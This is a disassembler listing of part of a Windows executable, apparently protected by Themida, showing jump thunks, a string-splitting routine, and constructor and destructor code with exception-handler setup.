sub_401FD7 proc near ; CODE XREF: sub_412BF0+3p
jmp sub_412C20
sub_401FD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FDC proc near ; CODE XREF: sub_404690+48p
; sub_404690+5Dp ...
jmp sub_409E00
sub_401FDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FE1 proc near ; DATA XREF: ___:off_43F090o
jmp sub_419A50
sub_401FE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FE6 proc near ; CODE XREF: sub_41A1E0+3p
; sub_41B140+9j ...
jmp sub_41A210
sub_401FE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FEB proc near ; CODE XREF: sub_40BD90+34p
; sub_40C200+67p
jmp sub_40C120
sub_401FEB endp
; ---------------------------------------------------------------------------
jmp loc_433980
; ---------------------------------------------------------------------------
loc_401FF5: ; DATA XREF: ___:off_43F094o
jmp loc_436570
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FFA proc near
jmp sub_40F180
sub_401FFA endp
; ---------------------------------------------------------------------------
jmp loc_4375F0
; ---------------------------------------------------------------------------
loc_402004: ; DATA XREF: ___:0043F03Co
jmp loc_41EEB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402009 proc near ; CODE XREF: sub_41F960+5Ap
jmp sub_420040
sub_402009 endp
; ---------------------------------------------------------------------------
jmp loc_431670
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402013 proc near ; CODE XREF: ___:00416B2Bp
; ___:0043B288j ...
jmp sub_417C00
sub_402013 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402018 proc near ; CODE XREF: ___:00416E7Fp
jmp sub_4131F0
sub_402018 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40201D proc near ; CODE XREF: sub_421B80+5p
jmp sub_422080
sub_40201D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402022 proc near ; CODE XREF: ___:00421754p
jmp sub_41C0A0
sub_402022 endp
; ---------------------------------------------------------------------------
off_402027 dd offset byte_4BF4E9 ; DATA XREF: ___:off_43F008o
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40202C proc near ; CODE XREF: sub_404690+2CEp
; sub_404CC0+46Fp ...
jmp sub_40A750
sub_40202C endp
; ---------------------------------------------------------------------------
jmp loc_434410
; ---------------------------------------------------------------------------
jmp sub_41B4D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40203B proc near ; CODE XREF: sub_422470+Ap
jmp sub_422750
sub_40203B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402040 proc near ; CODE XREF: sub_404CC0+7E7p
jmp sub_41BA50
sub_402040 endp
; ---------------------------------------------------------------------------
loc_402045: ; DATA XREF: ___:off_43F014o
jmp loc_40AEC0
; ---------------------------------------------------------------------------
loc_40204A: ; DATA XREF: ___:off_43F088o
jmp loc_42D150
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40204F proc near ; CODE XREF: ___:0040AEC3p
; ___:0040FFAEp ...
jmp sub_40AEF0
sub_40204F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402054 proc near ; CODE XREF: sub_424920+109p
; sub_424920+178p ...
jmp sub_424800
sub_402054 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402059 proc near ; CODE XREF: sub_4099C0+7p
jmp sub_409AB0
sub_402059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40205E proc near ; CODE XREF: sub_416760+Ap
jmp sub_416970
sub_40205E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402063 proc near
jmp sub_40CBF0
sub_402063 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402068 proc near ; CODE XREF: ___:004301DBp
; sub_4310C0+EAp
jmp sub_434320
sub_402068 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40206D proc near ; CODE XREF: sub_421A60+5p
; sub_421B50+6p ...
jmp sub_421FF0
sub_40206D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402072 proc near ; CODE XREF: sub_410030+8ADp
; sub_410030+95Ep ...
jmp sub_411A60
sub_402072 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402077 proc near ; CODE XREF: sub_40C120+7p
jmp sub_40C310
sub_402077 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40207C proc near ; CODE XREF: sub_418A40+34p
; sub_418F90+67p
jmp sub_418DA0
sub_40207C endp
; ---------------------------------------------------------------------------
jmp loc_409BF0
; ---------------------------------------------------------------------------
loc_402086: ; DATA XREF: ___:off_43F13Co
jmp loc_4292B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40208B proc near ; CODE XREF: sub_417120+2Bp
; sub_417120+3Bp ...
jmp sub_403F30
sub_40208B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402090 proc near ; CODE XREF: sub_4098B0+14p
jmp sub_409910
sub_402090 endp
; ---------------------------------------------------------------------------
jmp loc_4332C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40209A proc near ; CODE XREF: sub_428DC0:loc_428FCBp
jmp sub_428CE0
sub_40209A endp
; ---------------------------------------------------------------------------
jmp sub_427940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A4 proc near ; CODE XREF: sub_418430+4Dp
jmp sub_418B70
sub_4020A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A9 proc near ; CODE XREF: sub_415230+5p
; sub_4153F0+6p ...
jmp sub_415DE0
sub_4020A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020AE proc near ; CODE XREF: sub_427940+3p
jmp sub_427970
sub_4020AE endp
; ---------------------------------------------------------------------------
jmp loc_41B1F0
; ---------------------------------------------------------------------------
jmp loc_421720
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020BD proc near ; CODE XREF: ___:00416E4Fp
jmp sub_407080
sub_4020BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C2 proc near ; CODE XREF: sub_413740+83p
; sub_4145A0+91p ...
jmp sub_4153F0
sub_4020C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C7 proc near ; DATA XREF: ___:0043F054o
jmp sub_41F030
sub_4020C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020CC proc near ; CODE XREF: sub_40AAD0+144p
jmp sub_40ADE0
sub_4020CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D1 proc near ; CODE XREF: sub_431240+BAp
; sub_433C70+36p
jmp sub_433CE0
sub_4020D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D6 proc near ; CODE XREF: sub_421EF0+23p
; sub_422340+11p
jmp sub_4224E0
sub_4020D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020DB proc near ; CODE XREF: sub_4221E0+4p
jmp sub_4225F0
sub_4020DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020E0 proc near ; CODE XREF: sub_42BB00+3BBp
jmp sub_42B730
sub_4020E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020E5 proc near ; CODE XREF: ___:0041A312p
jmp sub_41A3B0
sub_4020E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EA proc near ; CODE XREF: sub_416860+Ap
jmp sub_4169C0
sub_4020EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EF proc near ; DATA XREF: ___:off_43F18Co
jmp sub_42C5C0
sub_4020EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020F4 proc near ; CODE XREF: sub_415D70+4p
jmp sub_416590
sub_4020F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020F9 proc near ; CODE XREF: ___:004307A6p
; ___:00430808p ...
jmp sub_434AD0
sub_4020F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020FE proc near ; CODE XREF: sub_418E20+8p
jmp sub_4190C0
sub_4020FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402103 proc near ; CODE XREF: sub_418990+34p
; sub_418E80+67p
jmp sub_418CA0
sub_402103 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402108 proc near ; CODE XREF: sub_41A7D0+117p
jmp sub_41A960
sub_402108 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40210D proc near ; CODE XREF: sub_415BA0+35p
jmp sub_416670
sub_40210D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402112 proc near ; CODE XREF: sub_404CC0+459p
; sub_406730+43p ...
jmp sub_409CA0
sub_402112 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402117 proc near ; CODE XREF: sub_40BE00+5p
; sub_40BF40+6p ...
jmp sub_40C140
sub_402117 endp
; ---------------------------------------------------------------------------
jmp loc_4308A0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402121 proc near ; CODE XREF: ___:00416F7Ap
jmp sub_4191B0
sub_402121 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402126 proc near ; CODE XREF: ___:0042AD23p
jmp sub_42AD50
sub_402126 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40212B proc near ; CODE XREF: sub_410030+F3Dp
; sub_410030+1392p ...
jmp sub_4148A0
sub_40212B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402130 proc near ; CODE XREF: sub_413A80+38p
; sub_413E70+5Fp
jmp sub_4135E0
sub_402130 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402135 proc near ; CODE XREF: sub_40A210+14p
; sub_40A240+7p ...
jmp sub_40A260
sub_402135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213A proc near ; CODE XREF: sub_42B440+157p
jmp sub_42AFF0
sub_40213A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213F proc near ; CODE XREF: sub_40ACC0+1Ap
; sub_40AD10+1Ap
jmp sub_40AD80
sub_40213F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402144 proc near ; CODE XREF: sub_4156F0+3p
; ___:00415F1Fp ...
jmp sub_416150
sub_402144 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402149 proc near ; DATA XREF: ___:0043F02Co
jmp sub_410030
sub_402149 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40214E proc near ; CODE XREF: sub_4148A0+EDp
jmp sub_415920
sub_40214E endp
; ---------------------------------------------------------------------------
jmp loc_41B490
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402158 proc near ; CODE XREF: sub_40BF00+3p
jmp sub_40C180
sub_402158 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40215D proc near ; CODE XREF: sub_40BFA0+11p
; ___:0040BFC7p ...
jmp sub_40C2C0
sub_40215D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402162 proc near ; CODE XREF: sub_41E760+2C5p
jmp sub_4208E0
sub_402162 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402167 proc near ; CODE XREF: sub_41D930+64Fp
jmp sub_41C170
sub_402167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40216C proc near ; CODE XREF: sub_418CC0+32p
jmp sub_418F90
sub_40216C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402171 proc near ; CODE XREF: sub_40ED00+ACp
; ___:0040F42Dp
jmp sub_40EE40
sub_402171 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402176 proc near ; CODE XREF: sub_4138B0+93p
jmp sub_434D10
sub_402176 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40217B proc near ; CODE XREF: sub_4152A0+1Fp
; sub_415BA0+2Cp
jmp sub_415B00
sub_40217B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402180 proc near ; CODE XREF: ___:0042670Dp
jmp sub_4266D0
sub_402180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402185 proc near ; CODE XREF: sub_420630+17Dp
jmp sub_421AD0
sub_402185 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40218A proc near ; CODE XREF: ___:0042D551p
jmp sub_42B380
sub_40218A endp
; ---------------------------------------------------------------------------
loc_40218F: ; DATA XREF: ___:off_43F010o
jmp loc_409BF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402194 proc near ; CODE XREF: sub_40AAD0+6Ap
; sub_40AAD0+103p
jmp sub_40AD10
sub_402194 endp
; ---------------------------------------------------------------------------
jmp loc_426280
; ---------------------------------------------------------------------------
jmp loc_427910
; ---------------------------------------------------------------------------
jmp loc_41AD00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021A8 proc near ; CODE XREF: sub_407270+14p
; sub_4072B0+9p ...
jmp sub_407510
sub_4021A8 endp
; ---------------------------------------------------------------------------
jmp loc_416DE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021B2 proc near ; CODE XREF: sub_40B0E0+1Bp
jmp sub_433DC0
sub_4021B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021B7 proc near ; CODE XREF: ___:00415B5Ap
jmp sub_4165E0
sub_4021B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021BC proc near ; CODE XREF: sub_4309A0+ABp
; sub_431980+1Bp ...
jmp sub_4319F0
sub_4021BC endp
; ---------------------------------------------------------------------------
jmp loc_42FD80
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021C6 proc near ; CODE XREF: ___:00408775p
; ___:00408797p ...
jmp sub_4199C0
sub_4021C6 endp
; ---------------------------------------------------------------------------
jmp loc_42DA00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021D0 proc near ; CODE XREF: sub_40B600+55p
jmp sub_40A0B0
sub_4021D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021D5 proc near ; DATA XREF: ___:off_43F14Co
jmp sub_429510
sub_4021D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021DA proc near ; CODE XREF: sub_421BF0+34p
; sub_422510+67p
jmp sub_422230
sub_4021DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021DF proc near ; CODE XREF: sub_407140+2Cp
; sub_407140+68p ...
jmp sub_4072B0
sub_4021DF endp
; ---------------------------------------------------------------------------
jmp loc_4346E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021E9 proc near ; CODE XREF: sub_41C710+1B3p
; sub_41C710+332p ...
jmp sub_41D770
sub_4021E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021EE proc near ; CODE XREF: sub_40BD50+11p
; sub_40BFA0+1Fp
jmp sub_40C0D0
sub_4021EE endp
; ---------------------------------------------------------------------------
jmp loc_4308E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021F8 proc near ; CODE XREF: sub_4246D0+1Ap
; sub_4247B0+1Bp ...
jmp sub_424500
sub_4021F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021FD proc near ; CODE XREF: ___:00416ABBp
jmp sub_418A40
sub_4021FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402202 proc near
jmp sub_42CE60
sub_402202 endp
; ---------------------------------------------------------------------------
jmp loc_42FF70
; ---------------------------------------------------------------------------
jmp loc_430100
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402211 proc near ; CODE XREF: sub_434450+1Bp
jmp sub_4344C0
sub_402211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402216 proc near ; CODE XREF: sub_42F6F0+101p
jmp sub_42F040
sub_402216 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40221B proc near ; DATA XREF: ___:off_43F00Co
jmp sub_407210
sub_40221B endp
; ---------------------------------------------------------------------------
jmp loc_42F5C0
; ---------------------------------------------------------------------------
jmp locret_418940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40222A proc near ; CODE XREF: sub_403720+25p
; sub_403720+35p ...
jmp sub_403CE0
sub_40222A endp
; ---------------------------------------------------------------------------
jmp loc_4343F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402234 proc near ; CODE XREF: sub_418430+88p
; sub_418430+98p
jmp sub_418B90
sub_402234 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402239 proc near ; CODE XREF: ___:00416BBBp
; ___:0043B20Aj ...
jmp sub_417870
sub_402239 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40223E proc near ; CODE XREF: sub_418BE0+5p
jmp sub_418E50
sub_40223E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402243 proc near ; CODE XREF: sub_414710+3p
jmp sub_414740
sub_402243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402248 proc near ; CODE XREF: ___:004305EBp
; ___:00430F17p ...
jmp sub_431DC0
sub_402248 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40224D proc near ; DATA XREF: ___:off_43F11Co
jmp sub_4288F0
sub_40224D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402252 proc near ; CODE XREF: sub_430B30+102p
; sub_432A20+5Dp ...
jmp sub_431B00
sub_402252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402257 proc near ; CODE XREF: sub_4135E0+5Cp
; sub_4135E0+C0p ...
jmp sub_415540
sub_402257 endp
; ---------------------------------------------------------------------------
jmp loc_432700
; ---------------------------------------------------------------------------
jmp loc_430460
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402266 proc near ; CODE XREF: sub_41D930+203p
jmp sub_42E3C0
sub_402266 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40226B proc near ; CODE XREF: sub_42F6F0+148p
; sub_42F6F0+173p
jmp sub_42EF60
sub_40226B endp
; ---------------------------------------------------------------------------
jmp loc_42F490
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402275 proc near ; CODE XREF: sub_4134A0+34p
; sub_4148A0+40p
jmp sub_4159F0
sub_402275 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40227A proc near ; CODE XREF: sub_40CC90+1A4p
; sub_40D040+ADp
jmp sub_40D040
sub_40227A endp
; ---------------------------------------------------------------------------
jmp loc_42F510
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402284 proc near ; CODE XREF: sub_422B40+938p
jmp loc_424080
sub_402284 endp
; ---------------------------------------------------------------------------
jmp loc_419B90
; ---------------------------------------------------------------------------
loc_40228E: ; CODE XREF: ___:00439FE6j
jmp loc_40CFC0
; ---------------------------------------------------------------------------
db 26Bh dup(0CCh)
byte_4024FE db 1032h dup(0CCh) ; DATA XREF: Themida_:loc_5ABEC3o
; =============== S U B R O U T I N E =======================================
sub_403530 proc near ; CODE XREF: sub_4019C4j
var_46C = dword ptr -46Ch
var_468 = byte ptr -468h
var_450 = byte ptr -450h
var_438 = byte ptr -438h
var_420 = byte ptr -420h
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_403530
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 460h
mov eax, [esp+46Ch+arg_4]
push ebp
push esi
push edi
mov [esp+478h+var_408], eax
mov eax, [esp+478h+arg_8]
xor edi, edi
mov esi, 1
cmp eax, edi
mov [esp+478h+var_46C], edi
jz short loc_403589
lea edx, [esp+478h+arg_8]
lea ecx, [esp+478h+var_404]
loc_40357A: ; CODE XREF: sub_403530+57j
add edx, 4
mov [ecx], eax
inc esi
add ecx, 4
mov eax, [edx]
cmp eax, edi
jnz short loc_40357A
loc_403589: ; CODE XREF: sub_403530+3Dj
lea ecx, [esp+478h+var_468]
mov [esp+esi*4+478h+var_408], edi
call sub_40142E
push offset asc_4445EC ; "|"
lea ecx, [esp+47Ch+var_438]
mov [esp+47Ch+var_4], 1
call sub_401870
push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
lea ecx, [esp+47Ch+var_468]
mov byte ptr [esp+47Ch+var_4], 2
call sub_401A9B
push offset byte_448F30
lea ecx, [esp+47Ch+var_450]
call sub_401870
mov byte ptr [esp+478h+var_4], 3
xor esi, esi
lea edi, [esp+478h+var_408]
loc_4035E1: ; CODE XREF: sub_403530+105j
mov ebp, [edi]
test ebp, ebp
jz short loc_403637
lea ecx, [esp+478h+var_438]
call sub_40168B
dec ebp
push eax
lea ecx, [esp+47Ch+var_420]
push ebp
push ecx
lea ecx, [esp+484h+var_468]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+478h+var_4], 4
call sub_4017EE
push eax
lea ecx, [esp+47Ch+var_450]
call sub_401AAF
lea ecx, [esp+478h+var_420]
mov byte ptr [esp+478h+var_4], 3
call sub_401226
inc esi
add edi, 4
cmp esi, 0FFh
jb short loc_4035E1
loc_403637: ; CODE XREF: sub_403530+B5j
mov esi, [esp+478h+arg_0]
lea edx, [esp+478h+var_450]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+478h+var_46C], 1
lea ecx, [esp+478h+var_450]
mov byte ptr [esp+478h+var_4], 2
call sub_401226
lea ecx, [esp+478h+var_438]
mov byte ptr [esp+478h+var_4], 1
call sub_401226
lea ecx, [esp+478h+var_468]
mov byte ptr [esp+478h+var_4], 0
call sub_401226
mov ecx, [esp+478h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 46Ch
retn
sub_403530 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403700 proc near ; CODE XREF: sub_40168Bj
mov eax, [ecx+9]
retn
sub_403700 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403720 proc near ; CODE XREF: sub_40129Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403720
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+9]
call sub_40222A
lea ecx, [esi+52h]
mov [esp+14h+var_4], 0
call sub_40222A
lea ecx, [esi+9Bh]
mov byte ptr [esp+14h+var_4], 1
call sub_40222A
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_40222A
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_40222A
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_40222A
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_40222A
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_40222A
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_40222A
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_40222A
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_40222A
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_40222A
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_40222A
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_40222A
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_40222A
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_40222A
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_40222A
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_40222A
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_40222A
mov byte ptr [esp+14h+var_4], 12h
lea ecx, [esi+574h]
call sub_40222A
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_40222A
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_40222A
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_40222A
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_40222A
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_40222A
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_40222A
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_40222A
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_40222A
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_40222A
lea ecx, [esi+84Eh]
mov byte ptr [esp+14h+var_4], 1Ch
call sub_40222A
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_40222A
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_40222A
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_40222A
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_40222A
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_40222A
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_40222A
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_40222A
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_40222A
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_40222A
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_40222A
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401753
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401753
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401753
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401753
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401753
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401753
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401753
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401753
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401753
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401753
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401753
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401753
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401753
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401753
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401753
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401753
lea ecx, [esi+0E51h]
mov byte ptr [esp+14h+var_4], 37h
call sub_401753
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_4011A4
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_4011A4
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_4011A4
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_4011A4
lea ecx, [esi+179Fh]
mov byte ptr [esp+14h+var_4], 3Ch
call sub_4011A4
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F000
mov byte ptr [esi+4], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403720 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C50 proc near ; CODE XREF: sub_401023j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403C50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403C50 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
